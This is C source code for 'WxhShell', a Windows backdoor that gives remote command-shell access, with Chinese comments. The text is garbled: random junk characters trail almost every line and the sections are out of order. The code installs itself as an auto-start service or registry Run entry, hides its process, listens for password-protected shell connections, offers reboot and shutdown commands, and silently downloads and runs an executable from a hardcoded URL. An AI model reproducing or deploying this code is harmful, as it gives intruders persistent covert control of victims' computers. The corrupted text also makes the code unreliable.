ULONG UniqueProcessId; Zn0e#n
ULONG InheritedFromUniqueProcessId; F !g>fIg
} PROCESS_BASIC_INFORMATION; o'O;69D]tX
E<]O,z;F
PROCNTQSIP NtQueryInformationProcess; agp`<1h9
GH[ATL
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xkV(E!O
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~-ZquJ-
^YiGvZJ
HANDLE hProcess; ammlUWl
PROCESS_BASIC_INFORMATION pbi; 7uQiP&v
N@6+DHt
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4c^WQ>[
if(NULL == hInst ) return 0; @)k/t>r(
WR,MqM20
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Is57)(^.-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W<|
M0S{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0vR
gmn
}@6ws/5
if (!NtQueryInformationProcess) return 0; "sh*,K5x|
7vZtEwC)n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZEa31[@B[
if(!hProcess) return 0; @
>_v/U'
p?rh+0wgX
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )}w2'(!X8
PgHe;^?j
CloseHandle(hProcess); 5argw+2s4$
tZ\e:AAi
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2[}
O:
if(hProcess==NULL) return 0; %n?_G|
;GQCq@)-
HMODULE hMod; 0+S ;0
char procName[255]; lgrD~Y (x
unsigned long cbNeeded; mk.1j x?l
Hw29V //
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v
*icoj
V9`?s0nn^
CloseHandle(hProcess); ./5LV)_`
hNU$a?eVpR
if(strstr(procName,"services")) return 1; // 以服务启动 D]tI's1
P! cfe@;<4
return 0; // 注册表启动 WAq!_xE
} [h&)h+xt
^cRAtoa
// 主模块 ,i RUR8
int StartWxhshell(LPSTR lpCmdLine) "xWrYq'"
{ !U::kr=t
SOCKET wsl; y[`>,?ns5
BOOL val=TRUE; N$ oQK(
int port=0; BN7]u5\7
struct sockaddr_in door; <8)cr0~zy>
Rp^fY_
if(wscfg.ws_autoins) Install(); V_\9t8
POXd ,ON9
port=atoi(lpCmdLine); xQUskjv/
^k J>4
if(port<=0) port=wscfg.ws_port; [/=Z2mtA
Yw(O}U 5e
WSADATA data; _p*a`,tK
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dc@OrQu
l6_dVK;s
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iHa:6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wE~&Y?^
door.sin_family = AF_INET; CH9Psr78
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tfq7<<0$N
door.sin_port = htons(port); +h]~m_O
PPAcEXsIu
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mP*Ct6628n
closesocket(wsl); iWGn4p'
return 1; (zr2b
} =0t<:-?.-
:%[mc-6.
if(listen(wsl,2) == INVALID_SOCKET) { /6y9u}
closesocket(wsl); F:7d}Jx
return 1; 43.Q);4
} 3-/F]}0y6
Wxhshell(wsl); H|)F-aL[
WSACleanup(); pJdR`A-k|
;IOM3'5T@
return 0; B@j2^Dr~!
+lplQh@RB
} sEymwpm9
YMn*i<m
// 以NT服务方式启动 [CG3&J
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b^:frjaE3
{ ^]5^p9Jt"e
DWORD status = 0; k3+LP7|*
DWORD specificError = 0xfffffff; 0gRm LX
1'B& e)
serviceStatus.dwServiceType = SERVICE_WIN32; )TfX}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 70<{tjyc
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,Dab(
serviceStatus.dwWin32ExitCode = 0; ??#SQSU
serviceStatus.dwServiceSpecificExitCode = 0; V_3K((P6
serviceStatus.dwCheckPoint = 0; _I?oR.ON33
serviceStatus.dwWaitHint = 0; gb{8SG5ac
:\Q#W4~p
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e_YTh^wU
if (hServiceStatusHandle==0) return; x,NV{uG$n
4_P6P
status = GetLastError();
"F=ta
if (status!=NO_ERROR) 4#,,_\r
{ &g"`J`
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,!H`@Kl
serviceStatus.dwCheckPoint = 0; )7C+hQe
serviceStatus.dwWaitHint = 0; W m&*
serviceStatus.dwWin32ExitCode = status; !^'6&NR#K
serviceStatus.dwServiceSpecificExitCode = specificError; ]f~!Qk!I7r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dv Vz#
return; <v6W
l\
} F%f)oq`B
<Nk:C1Op}
serviceStatus.dwCurrentState = SERVICE_RUNNING; <A(Bq'eQM
serviceStatus.dwCheckPoint = 0; x1h&`QUP
serviceStatus.dwWaitHint = 0; R`J.vMT
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GG`j9"t4
} _+j#.o>
iA<'i8$P
// 处理NT服务事件,比如:启动、停止 R=<%!
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4,08`5{
{ =9h!K:,k
switch(fdwControl) 6 w'))Z
{ T/FZn{I
case SERVICE_CONTROL_STOP: T>pyYF1Q
serviceStatus.dwWin32ExitCode = 0; U.WXh(`%
serviceStatus.dwCurrentState = SERVICE_STOPPED; /}/GK|tj
serviceStatus.dwCheckPoint = 0; BNgm+1?L
serviceStatus.dwWaitHint = 0; F`La_]f?b\
{ |- <72$j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T`bUBrK6g`
} zR4]buHnE
return; naM~>N
case SERVICE_CONTROL_PAUSE: ~s
yWORiXm
serviceStatus.dwCurrentState = SERVICE_PAUSED; N!fjN >cw
break; OIK46D6?.
case SERVICE_CONTROL_CONTINUE: R.?PD$;_M
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8aJJ??o{
break; 3Vbt(K
case SERVICE_CONTROL_INTERROGATE: h=qT@)h1>
break; u* G+=aV.6
}; g^}C/~b[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .D*~UI
} +eO>> ~Z
"Zy:q'`o
// 标准应用程序主函数 LJ6l3)tpD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zwU1(?]I{
{ t,n2N13
W~PMR/^i
// 获取操作系统版本 s(?%A
OsIsNt=GetOsVer(); (d/!M
n6L
GetModuleFileName(NULL,ExeFile,MAX_PATH); A2ufET
q65]bs4M
// 从命令行安装 ]9PG"<^k
if(strpbrk(lpCmdLine,"iI")) Install(); mE=Ur
?6]B6
// 下载执行文件 ~%2yDhdQ
if(wscfg.ws_downexe) { XS
#u/!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'N^*,
WinExec(wscfg.ws_filenam,SW_HIDE); 7n?yf_je
} Z- t&AH
XjdHH.) S
if(!OsIsNt) { {\vVzy,t7
// 如果时win9x,隐藏进程并且设置为注册表启动 :T|9;2
HideProc(); d"@ /{O^1
StartWxhshell(lpCmdLine); %NfXe[T
} 3 yw$<lm
else CiGXyhh
if(StartFromService()) MsBm0r`a
// 以服务方式启动 =av0a!
StartServiceCtrlDispatcher(DispatchTable); ;l1.jQh
else B;S'l|-?
// 普通方式启动 rW090Py
StartWxhshell(lpCmdLine); Bd7B\zM
^BM !TQ%!
return 0; TtF+~K
} lT*@f39~g
][b|^V
^|=P9'4Th
LF
@_|oI
=========================================== PU[<sr#,
^^zj4 }On?
* nFzfV
//;(KmU9
xticC>
)[J@s=
" )iM(
\=1ff
}6BXa
#include <stdio.h> PO8Z2"WI
#include <string.h> Z#B}#*<C
#include <windows.h> j
RcE241
#include <winsock2.h> kG{};Vm
#include <winsvc.h> Y 9|!=T%
#include <urlmon.h> 4'=Q:o*w`
8zpzVizDG
#pragma comment (lib, "Ws2_32.lib") "\O7_od-
#pragma comment (lib, "urlmon.lib") '`|j{mBhG
Ov<c1y;f
#define MAX_USER 100 // 最大客户端连接数 'l=>H#}<B
#define BUF_SOCK 200 // sock buffer $8i`h}AM
#define KEY_BUFF 255 // 输入 buffer R<Mc+{*>
%8D>aS U
#define REBOOT 0 // 重启 g1|Pyt{
#define SHUTDOWN 1 // 关机 t0jE\6r
NmXRA(m
#define DEF_PORT 5000 // 监听端口 &A*E)T#>#
%\(-<aT
#define REG_LEN 16 // 注册表键长度 |(ab0b #
#define SVC_LEN 80 // NT服务名长度 qJ(uak
K#N9N@W jR
// 从dll定义API Q(cLi:)X2
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e@
D}/1~=
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mI!iSVqr
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iLIb-d?!a&
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vPGUE`!D+
_@y uaMoW=
// wxhshell配置信息 ||Owdw|{
struct WSCFG { X'<RqvDc5
int ws_port; // 监听端口 VBQAkl?(}4
char ws_passstr[REG_LEN]; // 口令 u<uc"KY=
int ws_autoins; // 安装标记, 1=yes 0=no !L8q]]'XM
char ws_regname[REG_LEN]; // 注册表键名 Sir1>YEm
char ws_svcname[REG_LEN]; // 服务名 k2$pcR,WM
char ws_svcdisp[SVC_LEN]; // 服务显示名 E0Q6Ryn
char ws_svcdesc[SVC_LEN]; // 服务描述信息 auc:|?H~1n
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R6BbkYWrX
int ws_downexe; // 下载执行标记, 1=yes 0=no Wh..QVv
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z{BK@Q4z
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R.*;] R>M
<W!n lh
}; 2I}+AW!!=
,*U-o}{8C?
// default Wxhshell configuration 717THci3Y
struct WSCFG wscfg={DEF_PORT, Wz=&
0>Mm_
"xuhuanlingzhe", rh1PpsSc
1, Qw5(5W[L
"Wxhshell", O|+ZEBP
"Wxhshell", :e=7=|@7
"WxhShell Service", =oIt.`rf
"Wrsky Windows CmdShell Service", ?g{[U0)
"Please Input Your Password: ", T)sIV5bk
1, yNXYS
"http://www.wrsky.com/wxhshell.exe", f.uuXK
"Wxhshell.exe" bR)P-9rs
}; u &1M(~Ub=
i8k} B
o
// 消息定义模块 fMFkA(Of^
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &"JC8
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^7/v[J<<
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'g,_ lF
char *msg_ws_ext="\n\rExit."; gJX"4]Ol#}
char *msg_ws_end="\n\rQuit."; __xmn{{L6P
char *msg_ws_boot="\n\rReboot..."; o]4BST(A
char *msg_ws_poff="\n\rShutdown..."; &_-=(rK
char *msg_ws_down="\n\rSave to "; 5I2 h(Td
'%t$mf!nV
char *msg_ws_err="\n\rErr!"; %;ED}X
char *msg_ws_ok="\n\rOK!"; HBR/" m
Z2m^yRQ(
char ExeFile[MAX_PATH]; U5N |2
int nUser = 0; :AFW= e@<
HANDLE handles[MAX_USER]; k^8;3#xG
int OsIsNt; C_/eNu\I
r<1W.xd":
SERVICE_STATUS serviceStatus; #*.4Jv<R
SERVICE_STATUS_HANDLE hServiceStatusHandle; +58^{_k+%
.<>t2,Af
// 函数声明 ;"Qq/knVL
int Install(void); 6Aqv*<1=62
int Uninstall(void); -XL?n/M
int DownloadFile(char *sURL, SOCKET wsh); =23B9WT
int Boot(int flag); Uz,P^\8^$
void HideProc(void); >^`# %$+
int GetOsVer(void); 9&=%shOc+x
int Wxhshell(SOCKET wsl); AZhI~QWo
void TalkWithClient(void *cs); {'A
15
int CmdShell(SOCKET sock); FT~c|ep.
int StartFromService(void); {$[0YRNk
u
int StartWxhshell(LPSTR lpCmdLine); .wd7^wI^S
%A~. NNbS
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (*\&xRY|C
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @H$am
GY-4w@Wl
// 数据结构和表定义 8aVQW_m}
SERVICE_TABLE_ENTRY DispatchTable[] = #aC&!Rei{
{ iUh7eR9
{wscfg.ws_svcname, NTServiceMain}, D9NRM;v
{NULL, NULL} +qjZ;5(
}; *!"T^4DEg
> `eo 0
// 自我安装 faLfdUimJ
int Install(void) Q+K]:c
{ u c!6?+0h
char svExeFile[MAX_PATH]; ,B/TqPP
HKEY key; ~h8k4eM
strcpy(svExeFile,ExeFile); ,Aq, f$5V
i: UN
// 如果是win9x系统,修改注册表设为自启动 UdkNb}L
if(!OsIsNt) { p%>!1_'(
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~l'[P=R+8
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Et*LbU
RegCloseKey(key); "7+^`?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dfVI*5[Z
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (
zm!_~1
RegCloseKey(key); V4"o.G3\o
return 0; st "@kHQ3
} OI)k0t^;D
} 0K^@P#{hd
} D&mPYxXL
else { F czia0@z
%1;Y`>
// 如果是NT以上系统,安装为系统服务 8cY5:plK
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K[noW
if (schSCManager!=0) K6B6@
{ s!YX<V
SC_HANDLE schService = CreateService *B&i `tq
( ,:}VbQ:3I
schSCManager, md{1Jn"
wscfg.ws_svcname, 78xiT
wscfg.ws_svcdisp, 6@^
?dQ
SERVICE_ALL_ACCESS, B\AyG4J
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r\b$/:y<e
SERVICE_AUTO_START, -6F\=
SERVICE_ERROR_NORMAL, u{WI 4n?
svExeFile, aF"PB
h=
NULL, ]nIVP
NULL, f~=e
NULL, }o
GMF~
NULL, "0G)S'
NULL mp(:D&M
); r7U[QTM%
if (schService!=0) 8_D:#i
{ ^|rzqXW
CloseServiceHandle(schService); 9Y# vKb{>
CloseServiceHandle(schSCManager); :WH0=Bieh
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w{;bvq%lY
strcat(svExeFile,wscfg.ws_svcname); fH,h\0
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PR7bu%Y*eD
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p'/%"
RegCloseKey(key); t2.]v><